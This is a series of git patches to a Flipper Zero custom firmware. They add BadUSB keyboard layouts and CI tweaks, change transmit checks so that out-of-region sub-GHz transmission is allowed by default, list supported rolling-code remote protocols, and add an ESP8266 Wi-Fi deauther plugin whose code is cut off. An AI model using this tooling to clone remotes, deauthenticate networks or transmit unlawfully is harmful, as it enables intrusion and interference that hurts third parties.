HID_KEYBOARD_HU_W | KEY_MOD_RIGHT_ALT, // | + HID_KEYBOARD_HU_N | KEY_MOD_RIGHT_ALT, // } + HID_KEYBOARD_HU_SINGLE_QUOTE | KEY_MOD_RIGHT_ALT, // ~ + HID_KEYBOARD_NONE, // HUL +}; + #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wunused-variable" -static const uint16_t* hid_asciimaps[] = {hid_asciimap, hid_asciimap_de, hid_asciimap_fr}; +static const uint16_t* hid_asciimaps[] = + {hid_asciimap, hid_asciimap_de, hid_asciimap_fr, hid_asciimap_hu}; #pragma GCC diagnostic pop typedef struct { diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index d4169ef86..03c2786bf 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -497,7 +497,7 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) "Key:%lX%08lX\r\n" "Fix:%08lX Cnt:%05X\r\n" "Hop:%08lX Btn:%lX\r\n" - "Sn:%07lX\nSd:%08lX", + "Sn:%07lX Sd:%08lX", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)(instance->generic.data >> 32), diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index f8ac57411..28a9609d2 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -945,7 +945,7 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { "Key:%08lX%08lX\r\n" "Fix:0x%08lX Cnt:%04X\r\n" "Hop:0x%08lX Btn:%01lX\r\n" - "MF:%s\nSd:0x%08lX\r\n", + "MF:%s Sd:%08lX", instance->generic.protocol_name, instance->generic.data_count_bit, code_found_hi, From 17192481a48ba81f1d06425b9f23cf8509fff284 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 1 Aug 2022 23:35:09 +0300 Subject: [PATCH 423/461] update docs --- .drone.yml | 2 +- documentation/BadUSBLayouts.md | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.drone.yml b/.drone.yml index e915bf91b..075c56f8c 100644 --- a/.drone.yml +++ b/.drone.yml @@ -23,7 +23,7 @@ steps: - ls -laS artifacts-default - ls -laS artifacts-default/f7-update-${DRONE_TAG} - sed -i 's/(version)/'${DRONE_TAG}'/g' CHANGELOG.md - - echo '# [Install via Web Updater](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=dev-cfw&version='${DRONE_TAG})'' >> CHANGELOG.md + - echo '# [Install via Web Updater](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=dev-cfw&version='${DRONE_TAG}')' >> CHANGELOG.md environment: FBT_TOOLS_CUSTOM_LINK: from_secret: fbt_link diff --git a/documentation/BadUSBLayouts.md b/documentation/BadUSBLayouts.md index 7acbeb957..d964306ec 100644 --- a/documentation/BadUSBLayouts.md +++ b/documentation/BadUSBLayouts.md @@ -10,6 +10,7 @@ Currently implemented: * `US` = US (default) * `DE` = German QWERTZ * `FR` = AZERTY (based on [this](https://github.com/ikazeer/flipperzero-AZERTY)) +* `HU` = Hungarian QWERTZ **If you are writing payloads on windows you need to make sure EOL Conversion is set to LF Unix in your text editor and not windows CR LF. If you do not it will fail to run the payload.** From e461cbb25c70a38e13cbcf1b7a29b957034b9c4d Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 1 Aug 2022 23:56:25 +0300 Subject: [PATCH 424/461] fix ci --- .drone.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.drone.yml b/.drone.yml index 075c56f8c..270dda15f 100644 --- a/.drone.yml +++ b/.drone.yml @@ -51,6 +51,7 @@ steps: image: kramos/alpine-zip commands: - tar czpf artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz -C artifacts-default f7-update-${DRONE_TAG} + - cp artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz . - zip -r artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip artifacts-default/f7-update-${DRONE_TAG} - rm -rf artifacts-default/f7-update-${DRONE_TAG} - ls -laS artifacts-default @@ -68,7 +69,7 @@ steps: from_secret: dep_port target: from_secret: dep_target - source: artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz + source: flipper-z-f7-update-${DRONE_TAG}.tgz - name: "Do Github release" image: ddplugins/github-release From 7256c3acf083f6fbca7f21224e1a5a1d5fe14408 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 2 Aug 2022 03:40:22 +0300 Subject: [PATCH 425/461] second line needs to be copied separately removing info about second line for now, fixing later --- applications/bad_usb/bad_usb_script.c | 6 ------ documentation/BadUSBLayouts.md | 2 +- 2 files changed, 1 insertion(+), 7 deletions(-) diff --git a/applications/bad_usb/bad_usb_script.c b/applications/bad_usb/bad_usb_script.c index 84661296a..1974d937b 100644 --- a/applications/bad_usb/bad_usb_script.c +++ b/applications/bad_usb/bad_usb_script.c @@ -390,12 +390,6 @@ static uint16_t ducky_script_preload(BadUsbScript* bad_usb, File* script_file) { layout = ducky_get_layout(&line_tmp[strlen(ducky_cmd_layout) + 1]); } - // Looking for DUCKY_LANG command at second line - const char* line2_tmp = string_get_cstr(bad_usb->line); - if(strncmp(line2_tmp, ducky_cmd_layout, strlen(ducky_cmd_layout)) == 0) { - layout = ducky_get_layout(&line2_tmp[strlen(ducky_cmd_layout) + 1]); - } - if(id_set) { furi_check(furi_hal_usb_set_config(&usb_hid, &bad_usb->hid_cfg)); } else { diff --git a/documentation/BadUSBLayouts.md b/documentation/BadUSBLayouts.md index d964306ec..455fc094b 100644 --- a/documentation/BadUSBLayouts.md +++ b/documentation/BadUSBLayouts.md @@ -5,7 +5,7 @@ This firmware supports the `DUCKY_LANG` keyword to change the keyboard layout. -Add `DUCKY_LANG DE` to the first or second line of the script to choose the layout. +Add `DUCKY_LANG DE` to the first(!!!) line of the script to choose the layout. Currently implemented: * `US` = US (default) * `DE` = German QWERTZ From 5541535904e394a9124e8ae51ba0b739fc700ba9 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 2 Aug 2022 19:31:46 +0300 Subject: [PATCH 426/461] allow using link from env --- scripts/toolchain/fbtenv.sh | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/scripts/toolchain/fbtenv.sh b/scripts/toolchain/fbtenv.sh index 654b1fe0d..c12bc0d48 100755 --- a/scripts/toolchain/fbtenv.sh +++ b/scripts/toolchain/fbtenv.sh @@ -48,10 +48,20 @@ fbtenv_get_kernel_type() if [ "$SYS_TYPE" = "Darwin" ]; then fbtenv_check_rosetta || return 1; TOOLCHAIN_ARCH_DIR="$FBT_TOOLCHAIN_PATH/toolchain/x86_64-darwin"; - TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-darwin-flipper-$FBT_TOOLCHAIN_VERSION.tar.gz"; + if [ -z "${FBT_TOOLS_CUSTOM_LINK:-}" ]; then + TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-darwin-flipper-$FBT_TOOLCHAIN_VERSION.tar.gz"; + else + echo "info: custom toolchain link is used"; + TOOLCHAIN_URL=$FBT_TOOLS_CUSTOM_LINK; + fi elif [ "$SYS_TYPE" = "Linux" ]; then TOOLCHAIN_ARCH_DIR="$FBT_TOOLCHAIN_PATH/toolchain/x86_64-linux"; - TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-linux-flipper-$FBT_TOOLCHAIN_VERSION.tar.gz"; + if [ -z "${FBT_TOOLS_CUSTOM_LINK:-}" ]; then + TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-linux-flipper-$FBT_TOOLCHAIN_VERSION.tar.gz"; + else + echo "info: custom toolchain link is used"; + TOOLCHAIN_URL=$FBT_TOOLS_CUSTOM_LINK; + fi elif echo "$SYS_TYPE" | grep -q "MINGW"; then echo "In MinGW shell use \"fbt.cmd\" instead of \"fbt\""; return 1; From bdd2dc288a4ae90398a0e37bb1c18354c5099b95 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 2 Aug 2022 19:38:38 +0300 Subject: [PATCH 427/461] return icon used in unirf --- assets/icons/PIN/Pin_cell_13x13.png | Bin 0 -> 3593 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/icons/PIN/Pin_cell_13x13.png diff --git a/assets/icons/PIN/Pin_cell_13x13.png b/assets/icons/PIN/Pin_cell_13x13.png new file mode 100644 index 0000000000000000000000000000000000000000..1b1ff0c2fbe6a1f30e974340f4b54760fe504677 GIT binary patch literal 3593 zcmaJ@c|26z|G&0EwyYr;Bc94KW-Kuo`!Z@Ujcrt7jKN@*#$ZNBNh#T~Wlbolp-qu& zl{H%w31ugtv4mvlJD%t1`TqWRzQ6mr_nvb;_x*l<-shapdA;rxw4JrEpqwB80Kzs% z3(R)A{qXZ}-j=$Ob^st~PBb@1+nAe!s5FWRrx z!J?<(q3pT2^$+V+Q`u7+9n4PA$lc;2p&F8~jx^B8sR zx>rCR%LJ^+TUW{z>G}+2%^g|I2L#7s6GcrtfXECp^)>*c&kdOGlW6Awp?LDNx@(7v z-Ko(PNG_nRHMKqcShu!hMe19*kj44oQKivW0gudZG6%)H1;)YI=~>DW$SEFFhY$eB zt#!TJ(l<_=nj9aQ^qvY}e{aa&@}H-Gjg%IKwyLgi^8#Xao$P-1iHTkwY7^JPpj!Xp zlR&>S;5)SDrad5#cS7)O=vpjOf5T*7?k#k)p~7ClUAyK~Ja1KNjl~-M(jK7<$40Dh zzHSYK&I4yMO)^UA3Zgd8;K;$HnE0tyUNb0pbxL`wDf--I{K2kKokyqCrLHbuuT-GH zwoT0Em?R6Omef)4>2t6J#k5U<Kzn-O7ywj#*>mb{iVUie9{?=!&L4Vcx>M+-B&$v&`=vrv zoeVc_hlPpI{yIZ3vmN7+dj)UpNi&sotb_OQK7Gg|m$y4}M6B#3R9|>%Sp3xa8LG?< zk3G4s_EcRG;5BXLm%u5(V|IJS_klb3WisMb#kh|E-FUbw5 zyr@BwG>AK8@-uOu83en!aka`CnsWZ}ah~_wK_<`dD#~4L%nR(I>xjBVrsey0$(8Lx zL_W(e>N@r%hz^8bjmJlJK}Ec;eZ-x*cG=S73RX_FNg6+a)pbtL#VcSB2TRG<<>J`< z`?+HyC1&|gUle;4a3L|#8jHf3-&L7aE)%chcM*uX2z~VjIQg!9nM$bmT0O%P{wNV^ z#ZvvIv`;Bl<@6sS67I>!{UR;b$L$1_R1#q}yKMZC14xZRheD%nF=94KbtaM2@_C&9 zaU=_ro>ZPFnrMH0z2)_Ixg@+HW)vlmzaLYWB7RhtU_8Nl`zFjRBk$hv_Tt?4{P$wu zH&57*@`BM2hs(thIzgE#?OD?1t%Vu|J#RCKKEzdD$TYoD;8WB-%k;PD-Tq&8PESoo zeGd^5z9bygg!DWh>o0p&wrEeeEF=SUhwoi_Mzf>V2bg?@&kfNV6esMVl|x}tNpHkc z;i=B45vf!69GwE4jC+{(b~)a661{)gIsA^5(-ZVqvA}!j`#r@9PA`h}N;@zim;`j^ zarc56_st7G@xqTUMO)=vLKZmU%Nu3ml%yMBgaxcwFU^@}M&190t>?+dYqO|ezIFLv z$XS$wdEh;7mUohO&g7YPE|JDZ!}A6ovyXNtbqIHy)!@-E)_BzGSK?g~QF6FHw7;g` zbB;DAJvYm|wtK=twSZHf3V{x^sfUGo=5?(S~&txT%-E$Ff-_@hGg+hw0I zU51R2H;b~@lcn>SFz9cH^CZFs3hN6S#%m6?r}$@jS9X=Xqqns+s}HjJSS_>h20hvS zxwx8-RRbGw(YGzL8;-{6#Wtn&r-ilhrP-#fvTisVIWwJ?oj*D(2*V8UO@;O6;BUNmvJB!T`eNt3~f!F zko#8I{q)^(LDq|`!IF=p_n+Dj4dM6KZ8fvxTijkF*rwm-SFxjK+QxE!oV zwhoA?P$bG`$gG7+9y|oQr}_1GnFIX{eO0}eHSW6ZQyssMP<-wAkpaJFv|t~WUjQZm zKbut%S#hu8Jmc~Y%Y}4ty2O5gxhv!Kef5YdV}aaL0h!v_-oUDw1g{pcIw>5q*kqCjS7$R7KNBC@T5#Nx%QXnV_={J8w%kIE~K8eX5waZX*) z|8ykW{HO0Fd#j*EZ2^0X8Z$}u`g7$aTW5>j&#camXFh5eq-3XL7hr^mX=Q33w8{^Z z+k302B@2%;CrNMQlP|wn9amlpTpExHh(>i4lwnHIBGM?xT{XtZJtr9z$ZF(?_u50= zTVL0dcU_PUt4@4~u6X#QuY%#aFbuA>d?BqI>mU=N33bC%dNGLe-Qlgit&h_-(W6+5 z)1n`9a4{Ye)qVT6x!MI6oz&u#mR54<_Y=?YQn*wvC$?XD&q?QVhh$RSSya~D(jO14 zDkeu=?A&|8mYJmf{?A9t-^|S*X9{P?tX0?A2S=;@Oncs5ninpSUx=HKcPAbFOurTC zw;bPI*8ZlQM;E6%ce3pnYhdw~UcpLe&N;VM=gpG)B&9!VE;HmQ^~52OSEds${}{Rxc6JQ?81X)1 zkhzN5$nbYN?pEz%-kEDGL;r>k0huQ(;>hkkyMz>yZX3 zyE%WAvUE!<-GSmw55dt0fT1NJfC!FKWRcq89?}qHC*VOEo9>5|N=afxKLY%hDXc9TWKN+GK!-J< z8h9-&Ezn^DO@bE==Be$C!>fZ}S}-UC%DE3~Ko7%V+Hj}==hG=V2Xg(0Afq?-;3kHF~G&l&2Kqi@vV`z{Am47Q(5CZWuB9%_0 zkU`suI8RCt9RcQ;{c9E^>OZpNz`s|Dvt|$mjtYTlYHiQzH_+Dh|A&%D|DXfu7{Y)3 z{;P1HBa=#iUSh0fZq#=_NCA%fxZ+f2&SzG1s$-( z;fdt!$iY7;wzhB^av&W?#uIET5MYjoCXwg`*VTsV=^4Ou4x5@;LZO!CW~Mq82B!L! zmXcl{>#<7uV}wy!_2I{hwS2#|&h9Z~xC;{|<2qXuJDQ@p1 Date: Wed, 3 Aug 2022 00:32:55 +0300 Subject: [PATCH 428/461] subghz frequency range updates --- .drone.yml | 12 +++- ReadMe.md | 16 +++--- .../subghz/scenes/subghz_scene_show_only_rx.c | 7 +-- applications/subghz/subghz_cli.c | 4 +- applications/subghz/subghz_i.c | 4 +- applications/unirfremix/unirfremix_app.c | 18 +++--- .../targets/f7/furi_hal/furi_hal_subghz.c | 57 ++++++++++--------- 7 files changed, 60 insertions(+), 58 deletions(-) diff --git a/.drone.yml b/.drone.yml index 270dda15f..0bcd97780 100644 --- a/.drone.yml +++ b/.drone.yml @@ -17,7 +17,7 @@ steps: commands: - export DIST_SUFFIX=${DRONE_TAG} - export WORKFLOW_BRANCH_OR_TAG=dev-cfw - - ./fbt --with-updater COMPACT=1 DEBUG=0 updater_package + - ./fbt COMPACT=1 DEBUG=0 updater_package - mkdir artifacts-default - mv dist/f7-C/* artifacts-default/ - ls -laS artifacts-default @@ -105,7 +105,10 @@ steps: Version: {{build.tag}} - [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})" + [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG}) + + + [-Install via Web Updater-](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=dev-cfw&version=${DRONE_TAG})" document: - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu - artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip @@ -124,7 +127,10 @@ steps: Version: {{build.tag}} - [[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/latest)" + [[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG}) + + + [-Install via Web Updater-](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=dev-cfw&version=${DRONE_TAG})" trigger: event: diff --git a/ReadMe.md b/ReadMe.md index de66f4b28..2efedb830 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -5,16 +5,14 @@ Welcome to Flipper Zero's Custom Firmware repo! Our goal is to make any features possible in this device without any limitations! -Please help us implement emulation for all dynamic (rolling codes) protocols and brute-force app! -
+Please help us implement emulation for all subghz dynamic (rolling code) protocols and static code brute-force app! +
### This software is for experimental purposes only and is not meant for any illegal activity/purposes.
We do not condone illegal activity and strongly encourage keeping transmissions to legal/valid uses allowed by law.
Also this software is made without any support from Flipper Devices and in no way related to official devs. -### Please use for experimental purposes only! -

Our Discord Community:
@@ -41,14 +39,14 @@ See changelog in releases for latest updates! - HCS101 - An-Motors - CAME Atomo -- FAAC SLH (Spa) -- BFT Mitto +- FAAC SLH (Spa) [if cloning existing remote - external seed calculation required] +- BFT Mitto [if cloning existing remote - external seed calculation required] - Keeloq (+ proper manufacturer codes selection) [Not ALL systems supported yet!] - Nice Flor S -- SecPlus v1 & v2 +- Security+ v1 & v2 - Star Line -### Apps included: +### Community apps included: - UPC-A Barcode generator plugin [(By McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) - GPIO: Sentry Safe plugin [(By H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) @@ -93,7 +91,7 @@ See changelog in releases for latest updates! **SubGHz** -## [- How to extend SubGHz frequency range](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/DangerousSettings.md) +## [- Transmission is blocked? - How to extend SubGHz frequency range](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/DangerousSettings.md) ## [- How to add extra SubGHz frequencies](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SubGHzSettings.md) diff --git a/applications/subghz/scenes/subghz_scene_show_only_rx.c b/applications/subghz/scenes/subghz_scene_show_only_rx.c index 48fa751e0..039540e6f 100644 --- a/applications/subghz/scenes/subghz_scene_show_only_rx.c +++ b/applications/subghz/scenes/subghz_scene_show_only_rx.c @@ -13,12 +13,7 @@ void subghz_scene_show_only_rx_on_enter(void* context) { Popup* popup = subghz->popup; popup_set_icon(popup, 67, 12, &I_DolphinFirstStart7_61x51); popup_set_text( - popup, - "This frequency can\nonly be used for RX\nin your region", - 38, - 40, - AlignCenter, - AlignBottom); + popup, "This frequency is\noutside of default\nrange", 38, 40, AlignCenter, AlignBottom); popup_set_timeout(popup, 1500); popup_set_context(popup, subghz); popup_set_callback(popup, subghz_scene_show_only_rx_popup_callback); diff --git a/applications/subghz/subghz_cli.c b/applications/subghz/subghz_cli.c index 2b6fdd841..1d67f97de 100644 --- a/applications/subghz/subghz_cli.c +++ b/applications/subghz/subghz_cli.c @@ -54,7 +54,7 @@ void subghz_cli_command_tx_carrier(Cli* cli, string_t args, void* context) { furi_delay_ms(250); } } else { - printf("This frequency can only be used for RX in your region\r\n"); + printf("This frequency can only be used for RX in your settings\r\n"); } furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); @@ -535,7 +535,7 @@ static void subghz_cli_command_chat(Cli* cli, string_t args) { } if(!furi_hal_subghz_is_tx_allowed(frequency)) { printf( - "In your region, only reception on this frequency (%lu) is allowed,\r\n" + "In your settings, only reception on this frequency (%lu) is allowed,\r\n" "the actual operation of the application is not possible\r\n ", frequency); return; diff --git a/applications/subghz/subghz_i.c b/applications/subghz/subghz_i.c index 00cc922c7..9f3153d69 100644 --- a/applications/subghz/subghz_i.c +++ b/applications/subghz/subghz_i.c @@ -223,7 +223,7 @@ void subghz_dialog_message_show_only_rx(SubGhz* subghz) { dialog_message_set_text( message, - "This frequency\nis restricted to\nreceiving only\nin your region.", + "Frequency\nis outside of\ndefault range.\nCheck docs.", 3, 17, AlignLeft, @@ -279,7 +279,7 @@ bool subghz_key_load(SubGhz* subghz, const char* file_path, bool show_dialog) { } if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { - FURI_LOG_E(TAG, "This frequency can only be used for RX in your region"); + FURI_LOG_E(TAG, "This frequency can only be used for RX"); load_key_state = SubGhzLoadKeyStateOnlyRx; break; } diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index 23d3786c8..4f43428a4 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -476,7 +476,13 @@ static void unirfremix_send_signal( for(int x = 1; x <= app->repeat; x++) { frequency = frequency ? frequency : 433920000; FURI_LOG_E(TAG, "file to send: %s", string_get_cstr(signal)); - + if(!furi_hal_subghz_is_tx_allowed(frequency)) { + printf( + "In your settings, only reception on this frequency (%lu) is allowed,\r\n" + "the actual operation of the unirf app is not possible\r\n ", + frequency); + break; + } string_t flipper_format_string; if(strcmp(string_get_cstr(protocol), "RAW") == 0) { @@ -498,21 +504,17 @@ static void unirfremix_send_signal( subghz_transmitter_deserialize(transmitter, flipper_format); furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); furi_hal_subghz_set_frequency_and_path(frequency); - furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); - furi_hal_subghz_set_frequency_and_path(frequency); - - printf("Transmitting at %lu, repeat %d.\r\n", frequency, x); + //printf("Transmitting at %lu, repeat %d.\r\n", frequency, x); furi_hal_power_suppress_charge_enter(); furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); while(!(furi_hal_subghz_is_async_tx_complete())) { notification_message(notification, &sequence_blink_magenta_10); - printf("Sending..."); + //printf("Sending..."); fflush(stdout); furi_delay_ms(333); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index f8e998be1..0e2810141 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -287,13 +287,39 @@ uint8_t furi_hal_subghz_get_lqi() { } /* - Modified by @tkerby to the full YARD Stick One extended range of 281-361 MHz, 378-481 MHz, and 749-962 MHz. + Modified by @tkerby & MX to the full YARD Stick One extended range of 281-361 MHz, 378-481 MHz, and 749-962 MHz. These changes are at your own risk. The PLL may not lock and FZ devs have warned of possible damage! */ + bool furi_hal_subghz_is_frequency_valid(uint32_t value) { + if(!(value >= 281000000 && value <= 361000000) && + !(value >= 378000000 && value <= 481000000) && + !(value >= 749000000 && value <= 962000000)) { + return false; + } + + return true; +} + +uint32_t furi_hal_subghz_set_frequency_and_path(uint32_t value) { + // Set these values to the extended frequency range only. They dont define if you can transmit but do select the correct RF path + value = furi_hal_subghz_set_frequency(value); + if(value >= 281000000 && value <= 361000000) { + furi_hal_subghz_set_path(FuriHalSubGhzPath315); + } else if(value >= 378000000 && value <= 481000000) { + furi_hal_subghz_set_path(FuriHalSubGhzPath433); + } else if(value >= 749000000 && value <= 962000000) { + furi_hal_subghz_set_path(FuriHalSubGhzPath868); + } else { + furi_crash("SubGhz: Incorrect frequency during set."); + } + return value; +} + +bool furi_hal_subghz_is_tx_allowed(uint32_t value) { bool is_extended = false; - // TODO: Move file check to another place + // TODO: !!! Move file check to another place Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); @@ -321,33 +347,8 @@ bool furi_hal_subghz_is_frequency_valid(uint32_t value) { return true; } -uint32_t furi_hal_subghz_set_frequency_and_path(uint32_t value) { - // Set these values to the extended frequency range only. They dont define if you can transmit but do select the correct RF path - value = furi_hal_subghz_set_frequency(value); - if(value >= 281000000 && value <= 361000000) { - furi_hal_subghz_set_path(FuriHalSubGhzPath315); - } else if(value >= 378000000 && value <= 481000000) { - furi_hal_subghz_set_path(FuriHalSubGhzPath433); - } else if(value >= 749000000 && value <= 962000000) { - furi_hal_subghz_set_path(FuriHalSubGhzPath868); - } else { - furi_crash("SubGhz: Incorrect frequency during set."); - } - return value; -} - -bool furi_hal_subghz_is_tx_allowed(uint32_t value) { - UNUSED(value); - // Removed region check - return true; -} - uint32_t furi_hal_subghz_set_frequency(uint32_t value) { - if(furi_hal_subghz_is_tx_allowed(value)) { - furi_hal_subghz.regulation = SubGhzRegulationTxRx; - } else { - furi_hal_subghz.regulation = SubGhzRegulationOnlyRx; - } + furi_hal_subghz.regulation = SubGhzRegulationTxRx; furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); uint32_t real_frequency = cc1101_set_frequency(&furi_hal_spi_bus_handle_subghz, value); From 03f741468c507517a2a264a8c827193195655ff1 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 3 Aug 2022 03:11:49 +0300 Subject: [PATCH 429/461] wifi scanner & deauther plugins by @SequoiaSan --- ReadMe.md | 22 +- .../FlipperZeroWiFiDeauthModuleDefines.h | 7 + applications/esp8266_deauth/application.fam | 10 + applications/esp8266_deauth/esp8266_deauth.c | 573 ++++++++++++ applications/meta/application.fam | 2 + .../FlipperZeroWiFiModuleDefines.h | 17 + applications/wifi_scanner/application.fam | 10 + applications/wifi_scanner/wifi_scanner.c | 848 ++++++++++++++++++ 8 files changed, 1484 insertions(+), 5 deletions(-) create mode 100644 applications/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h create mode 100644 applications/esp8266_deauth/application.fam create mode 100644 applications/esp8266_deauth/esp8266_deauth.c create mode 100644 applications/wifi_scanner/FlipperZeroWiFiModuleDefines.h create mode 100644 applications/wifi_scanner/application.fam create mode 100644 applications/wifi_scanner/wifi_scanner.c diff --git a/ReadMe.md b/ReadMe.md index 2efedb830..fc442e926 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -48,6 +48,8 @@ See changelog in releases for latest updates! ### Community apps included: +- ESP8266 Deauther plugin [(By SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module) +- WiFi Scanner plugin [(By SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module) - UPC-A Barcode generator plugin [(By McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) - GPIO: Sentry Safe plugin [(By H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) - ESP32: WiFi Marauder companion plugin [(By 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) @@ -79,17 +81,27 @@ See changelog in releases for latest updates! ## [- BadUSB: how to use different keyboard layouts](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BadUSBLayouts.md) -**Plugins** +### **Plugins** ## [- Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) -## [- How to use: NRF24 plugins](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/NRF24.md) +## [- Barcode Generator](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BarcodeGenerator.md) -## [- How to use: SentrySafe plugin](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SentrySafe.md) +### **Plugins that works with external hardware** -## [- Barcode Generator readme](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BarcodeGenerator.md) +## [- How to use: [NRF24] plugins](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/NRF24.md) -**SubGHz** +## [- How to use: [WiFi] Scanner](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module#readme) + +## [- How to use: [ESP8266] Deauther](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module#readme) + +## [- How to use: [ESP32] WiFi Marauder](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard) + +## [- Windows: How to Upload .bin to ESP32/ESP8266](https://github.com/SequoiaSan/Guide-How-To-Upload-bin-to-ESP8266-ESP32) + +## [- How to use: [GPIO] SentrySafe plugin](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SentrySafe.md) + +### **SubGHz** ## [- Transmission is blocked? - How to extend SubGHz frequency range](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/DangerousSettings.md) diff --git a/applications/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h b/applications/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h new file mode 100644 index 000000000..a8e0e8d61 --- /dev/null +++ b/applications/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h @@ -0,0 +1,7 @@ +#define WIFI_MODULE_INIT_VERSION "WFDM_0.1" + +#define MODULE_CONTEXT_INITIALIZATION WIFI_MODULE_INIT_VERSION + +#define FLIPPERZERO_SERIAL_BAUD 230400 + +#define NA 0 diff --git a/applications/esp8266_deauth/application.fam b/applications/esp8266_deauth/application.fam new file mode 100644 index 000000000..7f66c75a4 --- /dev/null +++ b/applications/esp8266_deauth/application.fam @@ -0,0 +1,10 @@ +App( + appid="esp8266_deauth", + name="[ESP8266] Deauther", + apptype=FlipperAppType.PLUGIN, + entry_point="esp8266_deauth_app", + cdefines=["APP_ESP8266_deauth"], + requires=["gui"], + stack_size=2 * 1024, + order=100, +) diff --git a/applications/esp8266_deauth/esp8266_deauth.c b/applications/esp8266_deauth/esp8266_deauth.c new file mode 100644 index 000000000..8e706b958 --- /dev/null +++ 